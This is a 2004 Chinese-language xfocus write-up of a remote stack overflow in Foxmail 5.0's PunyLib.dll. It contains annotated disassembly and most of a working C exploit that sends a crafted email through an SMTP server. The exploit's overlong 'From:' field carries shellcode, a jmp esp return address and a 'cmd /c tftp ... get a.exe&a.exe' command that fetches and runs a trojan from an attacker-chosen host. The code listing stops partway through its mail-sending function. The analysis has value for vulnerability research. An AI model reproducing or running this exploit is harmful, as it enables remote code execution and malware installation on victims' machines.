安全焦点<http://www.xfocus.net>

注：本文是2004年2月xfocus成员在内部技术交流中提出的，在此之前，启明星辰技术人员已经发现这一漏洞，但未公开细节，xfocus成员听说存在这一漏洞后对Foxmail进行分析，并写出利用代码。2004年3月18日启明星辰公布漏洞并发布相关补丁。

测试环境：win2k sp4+foxmail 5.0.300

以前测试foxmail 4.x的时候曾经发现过溢出漏洞，不过后来一直没时间研究就先放下了，后来听说Foxmail5也有溢出，但是一直没有看见公布。于是没事的时候干脆自己研究一下，测试后发现以前的溢出漏洞已经补上了，不过出了一个新的漏洞。

问题出在PunyLib.dll里面的UrlToLocal函数，估计这是一个用来处理垃圾邮件的链接库，当一封邮件被判定为垃圾邮件时，就会调用UrlToLocal来处理邮件体的“From: ”字段，处理过程中发生堆栈溢出，可以导致执行任意代码。

具体处理过程如下：
.text:10002040 public UrlToLocal
.text:10002040 UrlToLocal proc near
.text:10002040
.text:10002040 arg_0 = dword ptr 4
.text:10002040 arg_4 = dword ptr 8
.text:10002040
.text:10002040 mov eax, dword_1000804C
.text:10002045 mov ecx, dword_10008030
.text:1000204B mov edx, [esp+arg_4]
.text:1000204F push offset aHttp ; "http://"
.text:10002054 push eax
.text:10002055 mov eax, [esp+8+arg_0]
.text:10002059 push offset unk_10008034
.text:1000205E push ecx
.text:1000205F push edx
.text:10002060 push eax
.text:10002061 call sub_10002070 ;调用10002070，其中参数里保存的是邮件体的“From: ”字段后面的内容

.text:10002070 sub_10002070 proc near ; CODE XREF: UrlToLocal+21p
.text:10002070 ; EmailAdrToLocal+107p
.text:10002070
.text:10002070 var_600 = dword ptr -600h
.text:10002070 var_500 = dword ptr -500h
.text:10002070 var_400 = dword ptr -400h
.text:10002070 var_300 = dword ptr -300h
.text:10002070 var_200 = dword ptr -200h
.text:10002070 var_100 = dword ptr -100h
.text:10002070 arg_0 = dword ptr 4
.text:10002070 arg_4 = dword ptr 8
.text:10002070 arg_8 = dword ptr 0Ch
.text:10002070 arg_C = dword ptr 10h
.text:10002070 arg_10 = dword ptr 14h
.text:10002070 arg_14 = dword ptr 18h
.text:10002070
.text:10002070 mov edx, [esp+arg_0]
.text:10002074 sub esp, 600h
......
.text:100020DF push eax
.text:100020E0 push ecx
.text:100020E1 push ebx
.text:100020E2 call sub_10001A30 ;调用10001A30，就是这个函数里面溢出了

.text:10001A30 sub_10001A30 proc near ; CODE XREF: sub_10002070+72p
.text:10001A30 ; sub_10002290+95p
.text:10001A30
.text:10001A30 var_104 = dword ptr -104h
.text:10001A30 var_100 = dword ptr -100h
.text:10001A30 arg_0 = dword ptr 4
.text:10001A30 arg_4 = dword ptr 8
.text:10001A30 arg_8 = dword ptr 0Ch
.text:10001A30 arg_C = dword ptr 10h
.text:10001A30 arg_10 = dword ptr 14h
.text:10001A30 arg_14 = dword ptr 18h
.text:10001A30
.text:10001A30 sub esp, 104h ;分配0x104字节大小的堆栈，但是拷贝的“From: ”字段最大为0x200
.text:10001A36 push ebx
.text:10001A37 mov ebx, [esp+108h+arg_0]
.text:10001A3E push ebp
.text:10001A3F mov ebp, [esp+10Ch+arg_10]
.text:10001A46 push esi
.text:10001A47 xor esi, esi
......
.text:10001AA9 sub edi, ecx
.text:10001AAB mov eax, ecx
.text:10001AAD mov esi, edi
.text:10001AAF mov edi, edx
.text:10001AB1 shr ecx, 2
.text:10001AB4 rep movsd ;这里进行内存拷贝的时候溢出了，按照“From: ”字段大小拷贝到0x104的缓冲区里
.text:10001AB6 mov ecx, eax
.text:10001AB8 and ecx, 3
.text:10001ABB rep movsb
......
.text:10001AE7 mov edi, [esp+114h+arg_C]
.text:10001AEE shr ecx, 2
.text:10001AF1 rep movsd ;这里有几处地方会对局部变量进行操作，因为这些变量都被覆盖了，所以需要把他们覆盖成可以写的地址，我覆盖的是0x7ffdf220这个地址，应该是PEB的区域，所以必须在后面shellcode里面把这个区域的内容恢复成0
.text:10001AF3 mov ecx, eax
.text:10001AF5 and ecx, 3
.text:10001AF8 rep movsb
......
.text:10001BD7 pop edi
.text:10001BD8 pop esi
.text:10001BD9 pop ebp
.text:10001BDA pop ebx
.text:10001BDB add esp, 104h
.text:10001BE1 retn ;返回的时候就会回到我们的JMP ESP地址去

这个溢出无法覆盖SEH，而且字符串里面不能包含“@,(,,,\r,\n”这些乱七八糟的字符。shellcode用的是ey4s写的用URLMON下载并运行exe文件的那个。

有些MAIL服务器会把shellcode截断，所以我又改了一下，用比较短的shellcode直接运行tftp来下载程序并运行，测试了一下成功率比原来有所提高，但是容易被防火墙给拦截下来。

/* fmx.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit
*
* (C) COPYRIGHT XFOCUS Security Team, 2004
* All Rights Reserved
* -----------------------------------------------------------------------
* Author : xfocus <webmaster@xfocus.org>
* : http://www.xfocus.org
* Maintain : XFOCUS Security Team <security@xfocus.org>
* Version : 0.2
*
* Test : Windows 2000 server GB/XP professional
* + Foxmail 5.0.300.0
* Notes : unpublished vul.
* Greets : all member of XFOCUS Security Team.
* Complie : cl fmx.c
* Usage : fmx <mail_addr> <tftp_server> <smtp_server>
* mail_addr: email address we wantto hack
* tftp_server: run a tftp server and have a a.exe trojan
* smtp_server: SMTP server don't need login, we send the email thru it
*
* Date : 2004-02-27
* Revised : 2004-03-05
*
* Revise History:
* 2003-03-05 call WinExec() addr of Foxmail.exe module to run tftp for down&execute
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#pragma comment (lib,"ws2_32")

//mail body, it's based on a real spam email, heh
unsigned char packet[] =
"From: %s\r\n" //buffer to overrun
"Subject: Hi,man\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: multipart/mixed; boundary=\"87122827\"\r\n"
"\r\n"
"\r\n"
"--87122827\r\n"
"Content-Type: text/plain; charset=us-ascii\r\n"
"Content-Transfer-Encoding: 7bit\r\n"
"\r\n"
"T\r\n"
"\r\n"
"--87122827\r\n"
"Content-Disposition: attachment\r\n"
"Content-Type: Text/HTML;\r\n"
" name=\"girl.htm\"\r\n"
"Content-Transfer-Encoding: 7bit\r\n"
"\r\n"
"<html></html>\r\n"
"--87122827--\r\n"
"\r\n"
".\r\n";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300)
unsigned char winexec[] =
"\x83\xec\x50\xeb\x0c\xb9\x41\x10\xd3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
unsigned char winexec2[] =
"\x83\xec\x50\xeb\x0c\xb9\x41\x10\xa3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff";

#define SMTPPORT 25
int Make_Connection(char *address,int port,int timeout);
int SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);

int main(int argc, char * argv[])
{
WSADATA WSAData;
char *mailaddr = NULL;
char *tftp = NULL;
char *smtpserver = NULL;

if(argc!=4)
{
printf("Usage: %s <mail_addr> <tftp_server> <smtp_server>\ne.g.:%s eeye@hack.com 202.2.3.4 219.3.2.1\n", argv[0], argv[0]);
return 1;
}
mailaddr=argv[1];
tftp=argv[2];
smtpserver=argv[3];

if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf("WSAStartup failed.\n");
WSACleanup();
exit(1);
}

//WinExec() address
SendXMail(mailaddr, tftp, smtpserver, winexec); //WinExec() address in Foxmail.exe module(foxmail 5.0.300)
SendXMail(mailaddr, tftp, smtpserver, winexec2); //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)

WSACleanup();

return 0;
}

// 建立TCP连接
// 输入:
// char * address IP地址
// int port 端口
// int timeout 延时
// 输出:
// 返回:
// 成功 >0
// 错误 <=0

int Make_Connection(char *address,int port,int timeout)
{
struct sockaddr_in target;
SOCKET s;
int i;
DWORD bf;
fd_set wd;
struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;

target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(address);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctlsocket(s,FIONBIO,&bf);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
closesocket(s);
return -3;
}
if(i==0)
{
closesocket(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
closesocket(s);
return -5;
}
ioctlsocket(s,FIONBIO,&bf);
return s;
}

//send magic mail
int SendXMail( char *mailaddr, char *tftp, char *smtpserver, char *shellcode)
{
SOCKET csock;
int ret,i=0;
char buf[510], sbuf[0x10000], tmp[500], tmp1[500];
csock = Make_Connection(smtpserver, SMTPPORT, 10);
if(csock<0)
{
printf("connect err.\n");
exit(1);
}

memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.\n");
exit(1);
}
printf(buf);

ret=send(csock, "HELO server\r\n",strlen("HELO server\r\n"), 0);
if(ret<=0)
{
printf("send err.\n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.\n");
exit(1);
}
printf(buf);

ret=send(csock, "MAIL FROM: info@sina.com\r\n",strlen("MAIL FROM: info@sina.com\r\n"), 0);
if(ret<=0)
{
printf("send err.\n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.\n");
exit(1);
}
printf(buf);

sprintf(tmp, "RCPT TO: %s\r\n", mailaddr);
ret=send(csock, tmp,strlen(tmp), 0);
if(ret<=0)
{
printf("send err.\n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.\n");
exit(1);
}
printf(buf);
Sleep(1000);

ret=send(csock, "DATA\r\n",strlen("DATA\r\n"), 0);
if(ret<=0)
{
printf("send err.\n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf("recv err.\n");
exit(1);
}
printf(buf);

printf("send exploit mail...\n");
memset(sbuf, 0, sizeof(sbuf));
memset(buf, 0, sizeof(buf));
memset(buf, 0x41, sizeof(buf)-1);
memset(tmp, 0, sizeof(tmp));
//strcpy(tmp, winexec);//WinExec() address in Foxmail.exe module(foxmail 5.0.300)
strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module
strcat(tmp, "cmd /c tftp -i %s get a.exe&a.exe:");
sprintf(tmp1, tmp, tftp);
memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));
*(int *)(buf+0x100)=0x7ffa54cd; //ret addr jmp esp
*(int *)(buf+0x104)=0x80eb80eb; //jmp back
*(int *)(buf+0x108)=0x7ffdf220; //writeable addr
*(int *)(buf+0x110)=0x7ffdf220; //writeable addr
memcpy(buf, "girl\x0d", 5);
sprintf(sbuf, (char *)packet, buf);